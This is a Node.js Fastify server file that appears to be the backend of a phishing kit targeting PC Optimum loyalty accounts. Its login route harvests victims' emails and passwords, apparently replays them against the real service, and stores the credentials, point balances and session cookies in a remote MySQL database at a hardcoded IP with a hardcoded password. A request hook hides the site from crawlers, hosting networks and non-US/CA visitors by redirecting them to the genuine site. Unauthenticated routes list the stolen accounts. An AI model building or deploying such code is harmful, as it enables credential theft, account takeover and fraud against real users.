app.mjs 7.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. import axios from "axios";
  8. import is_ip_private from "private-ip";
  9. import { Crawler, middleware } from "es6-crawler-detect";
  10. const __filename = fileURLToPath(import.meta.url);
  11. const __dirname = dirname(__filename);
  12. const fastify = Fastify({
  13. trustProxy: true,
  14. logger: {
  15. level: "error",
  16. },
  17. });
  18. fastify.register(fastifyStatic, {
  19. root: resolve(__dirname, "public"),
  20. prefix: "/",
  21. });
  22. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  23. host: "38.180.126.100",
  24. dialect: "mysql",
  25. logging: false,
  26. });
  27. const Accounts = sequelize.define(
  28. "accounts",
  29. {
  30. // Model attributes are defined here
  31. email: {
  32. type: DataTypes.STRING,
  33. allowNull: false,
  34. },
  35. password: {
  36. type: DataTypes.STRING,
  37. allowNull: false,
  38. },
  39. userAgent: {
  40. type: DataTypes.TEXT("long"),
  41. allowNull: true,
  42. },
  43. ip: {
  44. type: DataTypes.STRING,
  45. allowNull: true,
  46. },
  47. success: {
  48. type: DataTypes.BOOLEAN,
  49. allowNull: false,
  50. defaultValue: false,
  51. },
  52. result: {
  53. type: DataTypes.TEXT("long"),
  54. allowNull: true,
  55. },
  56. error: {
  57. type: DataTypes.TEXT("long"),
  58. allowNull: true,
  59. },
  60. balance: {
  61. type: DataTypes.STRING,
  62. allowNull: true,
  63. },
  64. dollarsRedeemable: {
  65. type: DataTypes.STRING,
  66. allowNull: true,
  67. },
  68. cookies: {
  69. type: DataTypes.TEXT("long"),
  70. allowNull: true,
  71. },
  72. browserOptions: {
  73. type: DataTypes.TEXT("long"),
  74. allowNull: true,
  75. },
  76. },
  77. {
  78. // Other model options go here
  79. }
  80. );
  81. const Settings = sequelize.define(
  82. "settings",
  83. {
  84. // Model attributes are defined here
  85. name: {
  86. type: DataTypes.STRING,
  87. allowNull: false,
  88. },
  89. value: {
  90. type: DataTypes.STRING,
  91. allowNull: true,
  92. },
  93. },
  94. {
  95. // Other model options go here
  96. }
  97. );
  98. sequelize
  99. .authenticate()
  100. .then(async () => {
  101. await sequelize.sync();
  102. Settings.findAll().then((settings) => {
  103. if (!settings.find((setting) => setting.name === "block_hosting")) {
  104. Settings.create({ name: "block_hosting", value: "true" });
  105. }
  106. if (!settings.find((setting) => setting.name === "match_country")) {
  107. Settings.create({ name: "match_country", value: "US,CA" });
  108. }
  109. });
  110. })
  111. .catch((error) => {
  112. console.error("Unable to connect to the database:", error);
  113. });
  114. fastify.addHook("onRequest", async (request, reply) => {
  115. if (request.url === "/crushing0853.html") {
  116. return;
  117. }
  118. if (/(^\/$)|(\.html$)/.test(request.url)) {
  119. var CrawlerDetector = new Crawler(request);
  120. if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
  121. return reply
  122. .code(302)
  123. .header("Location", "http://localhost")
  124. .send();
  125. }
  126. const blockHosting =
  127. (
  128. (await Settings.findOne({
  129. where: { name: "block_hosting" },
  130. })) || { value: "true" }
  131. ).value === "true";
  132. const matchCountry = (
  133. await Settings.findOne({
  134. where: { name: "match_country" },
  135. })
  136. ).value
  137. .split(",")
  138. .filter((country) => !!country);
  139. try {
  140. const ip = request.ip;
  141. console.log(ip);
  142. if (ip && !is_ip_private(ip)) {
  143. const { data: ipInfo } = await axios.get(
  144. `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
  145. );
  146. if (
  147. blockHosting &&
  148. ["cdn", "hosting", "education"].includes(
  149. ipInfo.connection.type
  150. )
  151. ) {
  152. return reply
  153. .code(302)
  154. .header("Location", "https://www.pcoptimum.ca")
  155. .send();
  156. }
  157. if (
  158. matchCountry.length &&
  159. !matchCountry.includes(ipInfo.location.country.code)
  160. ) {
  161. return reply
  162. .code(302)
  163. .header("Location", "https://www.pcoptimum.ca")
  164. .send();
  165. }
  166. }
  167. } catch (error) {
  168. console.error(error.stack);
  169. }
  170. }
  171. });
  172. fastify.post("/settings", async function (request, reply) {
  173. const { name, value } = request.body;
  174. const setting = await Settings.findOne({ where: { name } });
  175. if (setting) {
  176. setting.value = value;
  177. await setting.save();
  178. } else {
  179. await Settings.create({ name, value });
  180. }
  181. return reply.code(200).send();
  182. });
  183. fastify.get("/settings", async function (request, reply) {
  184. return await Settings.findAll();
  185. });
  186. fastify.post("/login", async function (request, reply) {
  187. if (!request.body || !request.body.email || !request.body.password) {
  188. return reply
  189. .code(400)
  190. .send({ error: "email and password are required" });
  191. } else {
  192. const { email, password } = request.body;
  193. try {
  194. const { points, cookies, options } = await login(email, password);
  195. let balance = null;
  196. let dollarsRedeemable = null;
  197. if (points) {
  198. try {
  199. const json = JSON.parse(points);
  200. balance = json.balance + "";
  201. dollarsRedeemable = json.dollarsRedeemable + "";
  202. } catch (error) {}
  203. }
  204. const account = await Accounts.create({
  205. email,
  206. password,
  207. userAgent: request.headers["user-agent"],
  208. success: true,
  209. result: points,
  210. balance,
  211. dollarsRedeemable,
  212. cookies,
  213. browserOptions: JSON.stringify(options),
  214. });
  215. return reply.code(200).send();
  216. } catch (error) {
  217. console.error(error.stack);
  218. const account = await Accounts.create({
  219. email,
  220. password,
  221. userAgent: request.headers["user-agent"],
  222. success: false,
  223. error: error.stack,
  224. });
  225. return reply.code(500).send(error);
  226. }
  227. }
  228. });
  229. fastify.get("/list", async function (request, reply) {
  230. let page = request.query.page ? parseInt(request.query.page) : 0;
  231. const query = {};
  232. if (request.query.success) {
  233. query.success = request.query.success === "true";
  234. }
  235. const accounts = await Accounts.findAll({
  236. offset: 20 * page,
  237. limit: 20,
  238. order: [["createdAt", "DESC"]],
  239. where: query,
  240. });
  241. const total = await Accounts.count({ where: query });
  242. return {
  243. data: accounts,
  244. total,
  245. };
  246. });
  247. fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
  248. if (err) {
  249. fastify.log.error(err);
  250. process.exit(1);
  251. }
  252. });